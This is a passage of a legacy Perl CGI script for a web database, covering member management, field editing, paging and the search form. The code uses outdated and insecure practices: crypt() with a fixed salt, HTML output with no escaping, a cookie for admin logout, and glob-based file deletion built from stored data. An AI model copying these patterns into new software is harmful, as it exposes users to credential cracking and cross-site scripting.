  1444.           print "<TD><input type=checkbox name=\"$field\" value=\"yes\"></TD></TR>\n";
  1445.       };
  1446.       if ($type eq "list") {
  1447.             print "<TD><SELECT NAME=\"$field\" SIZE=1>\n";
  1448.           print "<OPTION VALUE=\"\">\n";
  1449.           foreach (@typelistvals) {
  1450.             print "<OPTION>$_\n";
  1451.           };
  1452.           print "</SELECT></TD></TR>\n";
  1453.       };
  1454.       if ($type eq "comment") {
  1455.           print "<TD><TEXTAREA NAME=\"$field\" COLS=60 ROWS=$typerows></TEXTAREA></TD></TR>\n";
  1456.       };
  1457.       if ($type eq "upload") {
  1458.         print "<TD><INPUT NAME=\"$field\" TYPE=\"file\"></TD></TR>\n";
  1459.       };
  1460.       if ($type eq "variance") {
  1461.            print "<TD>";
  1462.            if ($membersCanAdd) {
  1463.          print "<small>Enter each option with a comma in-between.</small><BR>"
  1464.            };
  1465.            print "<input type=text name=\"$field\" size=80></TD></TR>\n";
  1466.       };
  1467.       if ($type eq "price-variance") {
  1468.            print "<TD>";
  1469.            if ($membersCanAdd) {
  1470.          print "<small>Alternate option and price with a comma in-between.<BR>
  1471. for example: small,9.95,medium,12.95,large,15.95,X-large,18.95</small><BR>"
  1472.            };
  1473.            print "<input type=text name=\"$field\" size=80></TD></TR>\n";
  1474.       };
  1475.       
  1476.       $ftcount++;
  1477. };
  1478.   print "
  1479. <!-- Do not change the values of the submit buttons -->
  1480. </TABLE>";
  1481.   print "<INPUT TYPE=SUBMIT NAME=\"cgifunction\" VALUE=\"add\">" if $membersCanAdd; 
  1482.   print " <INPUT TYPE=SUBMIT NAME=\"cgifunction\" VALUE=\"Search/modify\">" if $membersCanAdd;
  1483.   print " <INPUT TYPE=RESET VALUE=\"Clear Form\">";
  1484.   print "<BR>Search the entire database. <INPUT TYPE=SUBMIT NAME=\"cgifunction\" VALUE=\"Search\">" if $membersCanSearch;
  1485.   print "<BR>Upload a delimited text file. <INPUT TYPE=SUBMIT NAME=\"cgifunction\" VALUE=\"Import data\">" if $membersCanAdd;
  1486.   print "</FORM> \n";
  1487.   
  1488.   if ($membersCanAdd) {
  1489.     print "
  1490. <h2>
  1491. Click \'Add\' to add a record to the database.
  1492.  
  1493. <P>To modify or delete a record: Search for the record, then click on the record in the search results window.</h2>
  1494. ";
  1495.   }
  1496.   
  1497.   if ($membersCanSearch) {
  1498.     print "
  1499. <h2>
  1500. Enter your search criteria in the form, then click \"Search\" to search the entire database.
  1501. Leave the form blank to show all records.
  1502. </h2>";
  1503.   }
  1504. print "
  1505.   <A HREF=\"$homepage\">
  1506.     Return to home page</A>      
  1507. <BR><A HREF=\"javascript:logout()\">Log out</A>
  1508. ";
  1509. print qq(<SCRIPT>
  1510. function setCookie(name, value, expire) {
  1511.    document.cookie = name + "=" + escape(value)
  1512.    + ((expire == null) ? "" : ("; expires=" + expire.toGMTString()))
  1513. }
  1514. function logout() {
  1515.   setCookie('admin',"");
  1516.   location="$homepage";
  1517. }
  1518. </SCRIPT>
  1519. );
  1520. };
  1521. #****END MEMBER PAGE SUBROUTINE
  1522.  
  1523. #*****BEGIN ADD MEMBER SUBROUTINE
  1524. sub addmember {
  1525.     if ($value[0] eq "admin") {
  1526.         print "<SCRIPT>alert(\'admin is a reserved name\')</SCRIPT>";
  1527.         &members;
  1528.         exit;
  1529.     };
  1530.  &putlock;
  1531.     open(FILE,"<$members") or &error("Could not open $members");
  1532.     @members=<FILE>;
  1533.     close FILE;
  1534.     &removelock;
  1535.  foreach (@members) {
  1536.         ($user,$pass)=split(/::/);
  1537.         if ($value[0] eq $user) {
  1538.             print "<SCRIPT>\n";
  1539.             print "alert(\'That name is already used. Please choose another\')\n";
  1540.             print "</SCRIPT>";
  1541.             &members;
  1542.             exit;
  1543.         };
  1544.     };
  1545.     $pass=crypt($value[1],7);
  1546.     $line="$value[0]::$pass\n";
  1547.  &putlock;
  1548.     open(FILE,">>$members") or &error("Could not open $members");
  1549.         print FILE ("$line");
  1550.     close FILE;
  1551.  &removelock;
  1552.     &members;
  1553. };
  1554. #****END ADD MEMBER SUBROUTINE
  1555.  
  1556. #*****BEGIN DELETE MEMBER SUBROUTINE
  1557. sub deletemember {
  1558.  &putlock;
  1559.     open(FILE,"<$members") or &error("Could not open $members");
  1560.     @oldlist=<FILE>;
  1561.     close FILE;
  1562.  &removelock;
  1563.     foreach (@oldlist) {
  1564.         ($user,$pass)=split(/::/);
  1565.         if ($user ne $user_data{member}) {push(@newlist,$_)};
  1566.     };
  1567.  &putlock;
  1568.     open(FILE,">$members") or &error("Could not open $members");
  1569.     print FILE (@newlist);
  1570.     close FILE;
  1571.  &removelock;
  1572.     &members;
  1573. };
  1574. #****END DELETE MEMBER SUBROUTINE
  1575.  
  1576.  
  1577. #****BEGIN ADD/REMOVE MEMBERS SUBROUTINE
  1578. sub members {
  1579.   &checkpass;
  1580.   print "<body bgcolor=beige>\n<h1 align=center>Members</h1>\n";
  1581.   &putlock;
  1582.   open(FILE,"<$members");
  1583.   @members=<FILE>;
  1584.   close FILE;
  1585.   &removelock;
  1586.   $len=@members;
  1587.   $len=15 if $len>15;
  1588.   if ($len==0) {
  1589.     print "No members have been created yet\n";
  1590.   } else {
  1591.     print "<FORM ACTION=\"$cgilocation\" METHOD=POST>\n";
  1592.     print "<SELECT NAME=\"member\" size=$len>\n";
  1593.     foreach (@members) {
  1594.       ($user,$pass)=split(/::/);
  1595.       print "<OPTION>$user\n";
  1596.     };
  1597.     print "</SELECT><BR>";
  1598.     print "<INPUT TYPE=SUBMIT NAME=\"cgifunction\" VALUE=\"Delete Member\">\n";
  1599.     print "</FORM>";
  1600.   };
  1601.   print "
  1602. <HR><CENTER><B>Add A Member</B></CENTER>
  1603. <TABLE BORDER=0>
  1604. <FORM ACTION=\"$cgilocation\" METHOD=POST>
  1605. <TR><TD><B>User Name</B><TD><INPUT TYPE=TEXT NAME=\"username\" SIZE=20><BR>
  1606. <TR><TD><B>Password</B><TD><INPUT TYPE=TEXT NAME=\"password\" SIZE=20><BR>
  1607. </TABLE>
  1608. <INPUT TYPE=SUBMIT NAME=\"cgifunction\" VALUE=\"Add Member\">
  1609. </FORM><BR><A HREF=\"$cgilocation?cgifunction=admin\">Return to Administration Page</A>    
  1610. ";
  1611.   
  1612. };
  1613. #****END ADD/REMOVE MEMBERS SUBROUTINE
  1614.  
  1615.  
  1616. #*******BEGIN NEXTPREV SUBROUTINE*****
  1617. # THIS SUBROUTINE REPLACES THE PAGENUM CRITERIA, THEN
  1618. # RUNS THE USERSEARCH ROUTINE
  1619. sub nextprev {
  1620.     if ($user_data{cgifunction} =~ /^(Next Page|NΣchste Seite|Page suivante|Pagina Successiva|Pßgina Siguiente|Volgende pagina|Pr≤xima Pßgina)$/) {$n=1} else {$n=-1};
  1621.     $p=$user_data{pagenum}+$n;
  1622.     $q=$user_data{query};
  1623.     $replace="pagenum=$p";
  1624.     $find="pagenum=$user_data{pagenum}";
  1625.     $q=~s/$find/$replace/;
  1626.  
  1627.     #EMPTY VALUE AND USER_DATA ARRAYS BEFORE RUNNING READPARSE
  1628.     @value=();
  1629.     %user_data=();
  1630.     &readparse($q);
  1631.     &usersearch if ($user_data{cgifunction} =~/^(Search|Suchen|Chercher|Cerca|Buscar|Zoeken|Pesquisar)$/);
  1632.     &adminsearch  if ($user_data{cgifunction} eq "Search/modify");
  1633. };
  1634. #*******END NEXTPREV SUBROUTINE*******
  1635. #*******BEGIN RENAMEFIELD SUBROUTINE***
  1636. sub renameField {
  1637.     &checkpass;
  1638.     $select = $value[0];
  1639.     $select++;
  1640.     $value[1]=~s/ *, */,/g if $value[1]=~/::list/; #remove spaces around comma
  1641.     open(FIELDS,"<$fieldnames");
  1642.     @fields=<FIELDS>;
  1643.     close FIELDS;
  1644.  
  1645.     $newfield="$value[1]\n";
  1646.     $fields[$select]=$newfield;
  1647.     open(RESULT,">$fieldnames");
  1648.     print RESULT (@fields);
  1649.     close RESULT;
  1650.  
  1651. #****RETURN TO FIELD MODIFY SCREEN****
  1652.     @value=();
  1653.     &fieldmod;
  1654. };
  1655. #*******END RENAME FIELD SUBROUTINE****
  1656.  
  1657. #*******BEGIN INSERTFIELD SUBROUTINE****
  1658. sub insertField {
  1659.     &checkpass;
  1660.     $select = $value[0];
  1661.     $select++;
  1662.     $value[1]=~s/ *, */,/g if $value[1]=~/::list/; #remove spaces around comma
  1663.     open(FIELDS,"<$fieldnames");
  1664.     @fields=<FIELDS>;
  1665.     close FIELDS;
  1666.     $numfields=@fields;
  1667.     $newfield="$fields[$select]$value[1]\n";
  1668.     $fields[$select]=$newfield;
  1669.     open(RESULT,">$fieldnames");
  1670.     print RESULT (@fields);
  1671.     close RESULT;
  1672.  
  1673.     &putlock; #place a lock file in the uploads dir to prevent simultanious writing.
  1674.     open(RECORDS,"<$logfile");
  1675.     @records = <RECORDS>;
  1676.     close RECORDS;
  1677.     &removelock; #remove lock file
  1678.     foreach (@records) {
  1679.     chop($_);
  1680.     @linedata=split(/::/,$_);
  1681.     $newdata="$linedata[$select]::";
  1682.     $linedata[$select]=$newdata;
  1683.     $newline=join('::',@linedata);
  1684.     $_="$newline\n";
  1685.     };
  1686.     open(RECORDS,">$logfile");
  1687.     print RECORDS (@records);
  1688.     close RECORDS;
  1689.  
  1690. #***RESET PREFERENCES****
  1691.     foreach (@sequence) {if ($_>$select-1) {$_++}};
  1692.     foreach (@SFsequence) {if ($_>$select-1) {$_++}};
  1693.     push(@sequence,$select);
  1694.     push(@SFsequence,$select);
  1695.     $reportData[2]=join(':',@sequence);
  1696.     $reportData[24]=join(':',@SFsequence);
  1697.     for ($i=$#fields;$i>=$select;$i--) {
  1698.       $num=$i+1;
  1699.       $searchTemplate=~s/\$data\[$i\]/\$data\[$num\]/g;
  1700.       $formTemplate=~s/\$data\[$i\]/\$data\[$num\]/g;
  1701.     }
  1702.     $searchTemplate=~s/\n/::/g;
  1703.     $formTemplate=~s/\n/::/g;
  1704.     $reportData[11]=$searchTemplate;
  1705.     $reportData[13]=$formTemplate;
  1706.     open (REPORT,">$reportdata") or &error("Could not open $reportdata for writing");
  1707.     foreach (@reportData) {  
  1708.       print REPORT ("$_\n");
  1709.     };
  1710.     close REPORT; 
  1711.  
  1712. #****RETURN TO FIELD MODIFY SCREEN****
  1713.     @value=();
  1714.     &fieldmod($select);
  1715. };
  1716.  
  1717. #*******END INSERTFIELD SUBROUTINE******
  1718.  
  1719. #*******BEGIN DELETEFIELD SUBROUTINE****
  1720. sub deleteField {
  1721.     &checkpass;
  1722.     $select = $value[0];
  1723.     $select++;
  1724.     open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames");
  1725.     @fields=<FIELDS>;
  1726.     close FIELDS;
  1727.     foreach $field (@fields) {
  1728.     if ($field ne $fields[$select]) {
  1729.         push(@result,$field);
  1730.     }
  1731.     }
  1732.     open(FIELDS,">$fieldnames") or &error("Could not open $fieldnames");
  1733.     print FIELDS (@result);
  1734.     close FIELDS;
  1735.     
  1736.     &putlock; #place a lock file in the uploads dir to prevent simultanious writing.
  1737.     open(RECORDS,"<$logfile") or &error("Could not open $logfile");
  1738.     @records=<RECORDS>;
  1739.     close RECORDS;
  1740.     &removelock; #remove lock file
  1741.     foreach $record (@records) {
  1742.     chop($record);
  1743.     @linedata=split(/::/,$record);
  1744.     push(@deleteset,$linedata[0]);
  1745.     @newline=("");
  1746.     $count=0;
  1747.     foreach $item (@linedata) {
  1748.         if ($count != $select) {
  1749.         push(@newline,$item);
  1750.         };
  1751.         $count++;
  1752.     };        
  1753.     shift(@newline);
  1754.     $record = join('::',@newline)."\n";
  1755.     };
  1756.     open(RECORDS,">$logfile") or &error("Could not open $logfile");
  1757.     print RECORDS (@records);
  1758.     close RECORDS;
  1759.     
  1760. #DELETE IMAGES
  1761. ($fieldname,$type)=split(/::/,$fields[$select]);
  1762. chomp($fieldname);
  1763.   if ($type=~/upload/) {
  1764.     foreach $value (@deleteset) {
  1765.       $uploadpath="${uploadsdir}${value}_$fieldname";
  1766.       unlink <$uploadpath*>;
  1767.     }
  1768.   }
  1769. #END DELETE IMAGES
  1770.  
  1771. #***RESET PREFERENCES****
  1772.     @result=();
  1773.     foreach (@sequence) {
  1774.       if ($_==$select) {$_=-1}
  1775.       if ($_>$select-1) {$_--}
  1776.       if ($_!=-1) {push(@result,$_)};
  1777.     };
  1778.     @sequence=@result;
  1779.     @result=();
  1780.     foreach (@SFsequence) {
  1781.       if ($_==$select) {$_=-1}
  1782.       if ($_>$select-1) {$_--}
  1783.       if ($_!=-1) {push(@result,$_)};
  1784.     };
  1785.     @SFsequence=@result;
  1786.     $reportData[2]=join(':',@sequence);
  1787.     $reportData[24]=join(':',@SFsequence);
  1788.     $num=$select-1;
  1789.     $searchTemplate=~s/\$data\[$num\]/XXXX/g;
  1790.     $formTemplate=~s/\$data\[$num\]/XXXX/g;
  1791.     for ($i=$select;$i<$#fields;$i++) {
  1792.       $num=$i-1;
  1793.       $searchTemplate=~s/\$data\[$i\]/\$data\[$num\]/g;
  1794.       $formTemplate=~s/\$data\[$i\]/\$data\[$num\]/g;
  1795.     }
  1796.     $searchTemplate=~s/\n/::/g;
  1797.     $formTemplate=~s/\n/::/g;
  1798.     $reportData[11]=$searchTemplate;
  1799.     $reportData[13]=$formTemplate;
  1800.     open (REPORT,">$reportdata") or &error("Could not open $reportdata for writing");
  1801.     foreach (@reportData) {
  1802.       print REPORT ("$_\n");      
  1803.     };
  1804.     close REPORT;
  1805.  
  1806. #****RETURN TO FIELD MODIFY SCREEN****
  1807.     @value=();
  1808.     &fieldmod;
  1809.     
  1810.  
  1811. };
  1812.  
  1813. #*******END DELETEFIELD SUBROUTINE******
  1814.  
  1815. #*******BEGIN FIELDMOD SUBROUTINE********
  1816. sub fieldmod {
  1817.     &checkpass;
  1818.     if (length($_[0])>0) {
  1819.       $select=$_[0];
  1820.     } else {
  1821.       $select=-1;
  1822.     }
  1823.     open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames");
  1824.     @fields=<FIELDS>;
  1825.     close FIELDS;
  1826.     shift(@fields);
  1827.     $num=@fields;
  1828.     $num++;
  1829.     print "<blink><h1>$var</h2></blink>";
  1830.     print "
  1831. <HEAD>
  1832. <TITLE>Webdata Modify Fields</TITLE>
  1833. <SCRIPT>
  1834. function insert(s) {
  1835.    newfield=prompt(\"New Field Name:\",\"\")\;
  1836.    if (!newfield) {return}\;
  1837.    if ((newfield.indexOf(\'\\\"\')>-1)||(newfield.indexOf(\'\\\'\')>-1)) {
  1838.         alert(\'Quotes are not allowed in field names\')\;
  1839.         return\;
  1840.    }\;
  1841.     newtype=\"\"\;
  1842.     while ((newtype!=\"text\")&&(newtype!=\"checkbox\")&&(newtype!=\"list\")&&(newtype!=\"comment\")&&(newtype!=\"upload\")";
  1843.   print qq(&&(newtype!="variance")&&(newtype!="price-variance")) if $useCart;
  1844.   print ") {";
  1845.     if ($useCart) {
  1846.       print "\
  1847.                 newtype=prompt(\"Enter text, checkbox, comment, list, variance, price-variance or upload\",\"text\")\;";
  1848.     } else {print "\
  1849.         newtype=prompt(\"Enter text, checkbox, comment, list, or upload\",\"text\")\; ";
  1850.     }
  1851.     print "    
  1852.         if(!newtype) {return}\;
  1853.     }\;
  1854.     if (newtype==\"text\") {
  1855.         newval=\":\"+prompt(\"Enter how many characters:\",\"20\")
  1856.         if (newval==\":null\") {return}\;
  1857.     }\;
  1858.     if (newtype==\"checkbox\") {newval=\"\"}\;
  1859.     if (newtype==\"list\") {
  1860.         newval=\":\"+prompt(\"Enter each value in list with a comma in between:\",\"\")
  1861.         if(newval==\":null\") {return}\;
  1862.     }\;
  1863.     if (newtype==\"comment\") {
  1864.         newval=\":\"+prompt(\"Enter how many rows high you would like the comment box:\",\"4\")\;
  1865.         if(newval==\":null\") {return}\;
  1866.     }\;";
  1867.  
  1868.     print "if ((newtype==\"variance\")||(newtype==\"price-variance\")) {newval=\"\"\}\;\n" if $useCart;
  1869.     
  1870.     print "
  1871.  if (newtype==\"upload\") {
  1872.   if(newfield.indexOf(\' \')>-1) {
  1873.          alert(\'uploads cannot have spaces in the name because they are used in a URL\')\;
  1874.          return\;
  1875.   }
  1876.   newval=\":\"+prompt(\"Enter the maximum number of Kilobytes for each upload:\",\"100\")\;
  1877.   if(newval==\":null\") {return}\;
  1878.   ext=prompt(\"Enter the filename extensions which are allowed to be uploaded, seperated by a comma..\\nFor example: gif,jpg,doc,htm,html,xls\",\"gif,jpg\")\;
  1879.   if(ext==\":null\") {return}\;
  1880.   newval+=\":\"+ext\;
  1881.  }\;
  1882.  
  1883.    document.form2.newFieldName.value=newfield+\"::\"+newtype+newval\;
  1884.    document.form2.selectedField.value=s.selectedIndex\;
  1885.    document.form2.cgifunction.value=\"insertField\"\;
  1886.    document.form2.submit()\;
  1887. }
  1888.  
  1889. function del(s) {
  1890.    if (s.selectedIndex<0) {return}
  1891.    message=\"Are you sure you want to delete the selected field?\\n\"\;
  1892.    message+=\" Any data contained in that field will be destroyed.\"\;
  1893.    if(confirm(message)) {
  1894.      document.form2.selectedField.value=s.selectedIndex\;
  1895.      document.form2.cgifunction.value=\"deleteField\"\;
  1896.      document.form2.submit()\;
  1897.    }
  1898. }
  1899.  
  1900. function rename(s) {
  1901.     oldfield=s.options[s.selectedIndex].text\;
  1902.     del1=oldfield.indexOf(\'::\')\;
  1903.     oldname=oldfield.substring(0,del1)\;
  1904.     oldfield=oldfield.substring(del1+2,9999)\;
  1905.     del1=oldfield.indexOf(\':\')\;
  1906.     if (del1==-1) {del1=9999}\;
  1907.     oldtype=oldfield.substring(0,del1)\;
  1908.     oldfield=oldfield.substring(del1+1,9999)\;
  1909.     oldvalue=oldfield.substring(0,9999)\;
  1910.  
  1911.    newfield=prompt(\"New Field Name:\",oldname)\;
  1912.    if (!newfield) {return}\;
  1913.    if ((newfield.indexOf(\'\\\"\')>-1)||(newfield.indexOf(\'\\\'\')>-1)) {
  1914.         alert(\'Quotes are not allowed in field names\')\;
  1915.         return\;
  1916.    }\;
  1917.     newtype=\"\"\;
  1918.     while ((newtype!=\"text\")&&(newtype!=\"checkbox\")&&(newtype!=\"list\")&&
  1919.   (newtype!=\"comment\")&&(newtype!=\"upload\")";
  1920.   print qq(&&(newtype!="variance")) if $useCart;
  1921.   print qq(&&(newtype!="price-variance")) if ($useCart)&&(!$hasPV);
  1922.   print ") {";
  1923.     if ($useCart) {
  1924.       print "\
  1925.                 newtype=prompt(\"Enter text, checkbox, comment, list, variance, price-variance, or upload\",oldtype)\;";
  1926.     } else {print "\
  1927.         newtype=prompt(\"Enter text, checkbox, comment, list, or upload\",oldtype)\; ";
  1928.     }
  1929.     print "    
  1930.         if(!newtype) {return}\;
  1931.     }\;
  1932.     if (newtype!=oldtype) {oldvalue=\"\"}\;
  1933.     if (newtype==\"text\") {
  1934.         newval=\":\"+prompt(\"Enter how many characters:\",oldvalue)
  1935.         if (newval==\":null\") {return}\;
  1936.     }\;
  1937.     if (newtype==\"checkbox\") {newval=\"\"}\;
  1938.     if (newtype==\"list\") {
  1939.         newval=\":\"+prompt(\"Enter each value in list with a comma in between:\",oldvalue)
  1940.         if(newval==\":null\") {return}\;
  1941.     }\;
  1942.     if (newtype==\"comment\") {
  1943.         newval=\":\"+prompt(\"Enter how many rows high you would like the comment box:\",oldvalue)\;
  1944.         if(newval==\":null\") {return}\;
  1945.     }\;";
  1946.  
  1947.     print "if ((newtype==\"variance\")||(newtype==\"price-variance\")) {newval=\"\"\}\;\n" if $useCart;
  1948.  
  1949. print "
  1950.         if (newtype==\"upload\") {
  1951.         if(newfield.indexOf(\' \')>-1) {
  1952.           alert(\'uploads cannot have spaces in the name because they are used in a URL\')\;
  1953.           return\;
  1954.         }
  1955.         newval=\":\"+prompt(\"Enter the maximum number of Kilobytes for each upload:\",\"100\")\;
  1956.         if(newval==\":null\") {return}\;
  1957.         ext=prompt(\"Enter the filename extensions which are allowed to be uploaded, seperated by a comma..\\nFor example: gif,jpg,doc,htm,html,xls\",\"gif,jpg\")\;
  1958.         if(ext==\":null\") {return}\;
  1959.         newval+=\":\"+ext\;
  1960.    }\;
  1961.  
  1962.    document.form2.newFieldName.value=newfield+\"::\"+newtype+newval\;
  1963.    document.form2.selectedField.value=s.selectedIndex\;
  1964.    document.form2.cgifunction.value=\"renameField\"\;
  1965.    document.form2.submit()\;
  1966.  
  1967. }
  1968.  
  1969. function admin() {
  1970.    document.form2.cgifunction.value=\"admin\"\;
  1971.    document.form2.submit()\;
  1972. }
  1973.  
  1974. function clear() {
  1975.    document.form1.list.selectedIndex=-1;
  1976. }
  1977.  
  1978.  
  1979.    
  1980.  
  1981.  
  1982. </SCRIPT>
  1983. </HEAD>
  1984. <BODY BGCOLOR=\"beige\" onLoad=\"document.form1.list.selectedIndex=$select\;document.form1.insert_button.focus()\">
  1985. <H1>Modify Field List</H1>
  1986. <FORM NAME=\"form1\" ACTION=\"$cgilocation\" METHOD=POST>
  1987. <TABLE BORDER=0><TR><TD>
  1988. <SELECT NAME=\"list\" SIZE=$num>
  1989. ";
  1990.     foreach $field (@fields) {
  1991.     chop($field);
  1992.     print "<OPTION VALUE=\"$field\">$field\n";
  1993.     };
  1994.  
  1995.     print "
  1996. </SELECT>
  1997. <TR><TD>
  1998.  
  1999. <P><INPUT TYPE=\"BUTTON\" NAME=\"insert_button\" VALUE=\"INSERT FIELD BELOW SELECTION\"
  2000. onClick=\"insert(form.list)\"><BR>
  2001. <INPUT TYPE=\"BUTTON\" VALUE=\"DELETE SELECTED FIELD\"
  2002. onClick=\"del(form.list)\"><BR>
  2003. <INPUT TYPE=\"BUTTON\" VALUE=\"REDEFINE SELECTED FIELD\"
  2004. onClick=\"rename(form.list)\">
  2005.  
  2006.  
  2007. </TABLE>
  2008.  
  2009. </FORM>
  2010. <B>Remember, whenever you add or remove fields, you need to change your field selections on the 'customize pages' screen.</B><P>
  2011.  
  2012. To create a text box: Click Insert or Redefine field.  Enter the field\'s name in the first prompt box.  Enter the word \"text\" in the second prompt box.  Enter the SIZE in number of characters for the new text box.<P>
  2013.  
  2014. To create a checkbox: Click Insert or Redefine field.  Enter the field\'s name in the first prompt box.  Enter the word \"checkbox\" in the second prompt box.  That's it.<P>
  2015.  
  2016. To create a selection list: Click Insert or Redefine field. Enter the field\'s name in the first prompt box.  Enter the 
  2017. word \"list\" in the second prompt box.  In the third prompt box, enter the list of values, seperated by a comma without spaces around the comma.  For example.<BR><B>Fire Engine Red,Lemon Yellow,Medium Blue,Salmon,Crimson,Ash White</B><P>
  2018.  
  2019. To create a textarea box for comments: Click Insert or Redefine field. Enter the field\'s name in the first
  2020. prompt box.  Enter the word \"comment\" in the second prompt box.  In the third box, enter the number of rows high you wish
  2021. to make your comment box. It will have a width of 60 characters.
  2022. <P>
  2023. To create an upload field with the option to upload with a web browser, enter the word \"upload\" in the second prompt box.  In the third box, for security,
  2024. enter the maximum size in Kilobytes for uploaded pictures or files.  <B>You must have the CGI.pm module to use this feature</B>";
  2025.  
  2026.     if ($useCart) {
  2027. print "<P><B>SHOPPING CART USERS:</B> There are 2 additional field types for use with the shopping cart module: <B>variance</B> and <B>price-variance</B>.  A variance field will allow you to enter a list of options into that field, and the options will appear in a select list on the search results screen.  For example, you could create a variance field named \"colors\", then, enter \"red,green,gold\" into the field, and the user will be able to choose from those three colors at checkout. <P>
  2028. A <B>price-variance</B> field is similar to a variance field, however you may enter the price of each option. For example, you could have a field for \"Size\" and enter \"Small,4.95,Medium,7.50,Large,9.95,X-Large,12.25\" into the text box when you add the record.  The user will see a list of sizes, with the price next to each one.  The price which the user chooses will be the amount added to the shopping cart.  If a price-variance field exists and is not empty, the price variance field will always override the \"price\" field declared in the Shopping Cart Setup Screen.";
  2029.     }
  2030. print "
  2031. <P>
  2032. <A HREF=\"javascript:admin()\">Return to Administration Page</A>
  2033. <P>
  2034. To insert a field at the <i>top</i> of the list, do not select anything.<BR>
  2035. <A HREF=\"javascript:clear()\">
  2036. Click here to clear the selection</A>
  2037. <FORM NAME=\"form2\" ACTION=\"$cgilocation\" METHOD=POST>
  2038. <INPUT TYPE=HIDDEN NAME=\"selectedField\">
  2039. <INPUT TYPE=HIDDEN NAME=\"newFieldName\">
  2040. <INPUT TYPE=HIDDEN NAME=\"cgifunction\">
  2041. ";
  2042.  
  2043. };
  2044.  
  2045.  
  2046. #*******END FIELDMOD SUBROUTINE**********
  2047.  
  2048. #*******BEGIN USER SUBROUTINE*************
  2049. sub user {
  2050. &language;
  2051. open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames");
  2052. @fieldsData=<FIELDS>;
  2053. close FIELDS;
  2054. $usemulti=0;
  2055. foreach (@fieldsData) {
  2056.     ($field,$type)=split(/::/);
  2057.     push(@fields,"$field\n");
  2058.     push(@types,"$type");
  2059.     $usemulti=1 if (($type=~/upload/)&&($useradd));
  2060. };
  2061. shift(@fields);
  2062. shift(@types);
  2063. if ($searchPage ne "${cgilocation}?cgifunction=user") {
  2064.   print "<SCRIPT>location.replace(\'$searchPage\')</SCRIPT>\n";
  2065.   print "<NOSCRIPT><A HREF=\"$searchPage\">JavaScript disabled<BR>Click here to go to the search page</A></NOSCRIPT>";
  2066.   exit;
  2067. };
  2068. print "
  2069. <HEAD><TITLE>Database Search</TITLE></HEAD>\n";
  2070. &bodytag;
  2071. print "$searchHeader";
  2072. print "$instructions" if $searchInfo;
  2073. if ((length($reqfields)>0)&&($useradd)) {
  2074.   print "<P><B>* </B><I>$indicatesRequiredFields</I><BR>";
  2075. }
  2076. print "<form name=\"form1\" action=\"$cgilocation\" method=post";
  2077. print " ENCTYPE=\"multipart/form-data\"" if (($usemulti)&&(!$searchbox));
  2078. print ">\n";
  2079.  
  2080. if (length($user_data{cgilanguage})>0) {
  2081.   print "<INPUT TYPE=HIDDEN NAME=\"cgilanguage\" 
  2082.   VALUE=\"$user_data{cgilanguage}\">\n";
  2083. }
  2084. if ($searchbox) {
  2085.   print "<B>Enter your search words</B>
  2086. <INPUT TYPE=TEXT SIZE=40 NAME=\"all_search\">
  2087. <BR>Show records containing
  2088. <SELECT NAME=\"allany\" SIZE=1><OPTION VALUE=\" and \">all</OPTION>
  2089. <OPTION VALUE=\" or \">any</OPTION></SELECT>of the search words.
  2090. <INPUT TYPE=HIDDEN NAME=\"cgifunction\" VALUE=\"Search\">
  2091. <INPUT TYPE=SUBMIT VALUE=\"Search\">
  2092. ";
  2093.   
  2094. } else {
  2095.   print "
  2096. <TABLE>
  2097. ";
  2098. $ftcount=0;
  2099. foreach (@SFsequence) {
  2100.    $field=$fields[$_];
  2101.       &gettype($types[$_]);
  2102.       chop($field);
  2103.       print "<TR><TD>";
  2104.       print "<B>* </B>" if ($reqfields=~/(^|\,)$_($|\,)/)&&($useradd);
  2105.       print "<B>$field</B></TD>";
  2106.       if ($type eq "text") {
  2107.            print "<TD><input type=$type name=\"$field\" size=$typesize></TD></TR>\n";
  2108.       };
  2109.       if ($type eq "checkbox") {
  2110.           print "<TD><input type=checkbox name=\"$field\" value=\"yes\"></TD></TR>\n";
  2111.       };
  2112.       if ($type eq "list") {
  2113.             print "<TD><SELECT NAME=\"$field\" SIZE=1>\n";
  2114.           print "<OPTION VALUE=\"\">\n";
  2115.           foreach (@typelistvals) {
  2116.             print "<OPTION>$_\n";
  2117.           };
  2118.           print "</SELECT></TD></TR>\n";
  2119.       };
  2120.       if ($type eq "comment") {
  2121.           print "<TD><TEXTAREA NAME=\"$field\" COLS=60 ROWS=$typerows></TEXTAREA></TD></TR>\n";
  2122.       };
  2123.       if ($type eq "upload") {
  2124.         print "<TD><INPUT NAME=\"$field\" TYPE=\"file\"></TD></TR>\n";
  2125.       };
  2126.       if ($type eq "variance") {
  2127.         print "<TD>";
  2128.         print "<small>Enter each option with a comma in-between.</small><BR>" if $useradd;
  2129.         print "
  2130. <input type=text name=\"$field\" size=80></TD></TR>\n";
  2131.       };
  2132.       if ($type eq "price-variance") {
  2133.         print "<TD>";
  2134.         if ($useradd) {
  2135.           print "<small>Alternate option and price with a comma in-between.<BR>
  2136. for example: small,9.95,medium,12.95,large,15.95,X-large,18.95</small><BR>";
  2137.         };
  2138.         print "
  2139. <input type=text name=\"$field\" size=80></TD></TR>\n";
  2140.       };
  2141.       $ftcount++;
  2142. };
  2143. print "</TABLE><BR>";
  2144.   if (($usersearch)&&(!$useradd)) {
  2145. print "<INPUT TYPE=HIDDEN NAME=\"cgifunction\" VALUE=\"$searchButton\">";
  2146. print "<input type=submit value=\"$searchButton\"> ";
  2147.   }
  2148.   elsif ((!$usersearch)&&($useradd)) {
  2149. print "<INPUT TYPE=HIDDEN NAME=\"cgifunction\" VALUE=\"$addButton\">";
  2150. print "<input type=submit value=\"$addButton\"> ";
  2151.   }
  2152.   elsif (($usersearch)&&($useradd)) {
  2153. print "<input type=submit name=\"cgifunction\" value=\"$searchButton\"> ";
  2154. print "<input type=submit name=\"cgifunction\" value=\"$addButton\"> ";
  2155.   };
  2156. print "<input type=reset value=\"$clearButton\">";
  2157. } #END OF SEARCHBOX IF-ELSE
  2158. print "
  2159. </FORM>
  2160. ";
  2161.  
  2162. };
  2163.  
  2164.  
  2165. #*******END USER SUBROUTINE***************
  2166.  
  2167. #******BEGIN BODYTAG SUBROUTINE********
  2168. sub bodytag {
  2169.   print "<BODY";
  2170.   print " BGCOLOR=\"$reportColor\"" if length($reportColor)>0;
  2171.   print " BACKGROUND=\"$background\"" if length($background)>0;
  2172.   print " TEXT=\"$textcolor\"" if length($textcolor)>0;
  2173.   print " LINK=\"$linkcolor\"" if length($linkcolor)>0;
  2174.   print " VLINK=\"$vlinkcolor\"" if length($vlinkcolor)>0;
  2175. print ">\n";
  2176. }
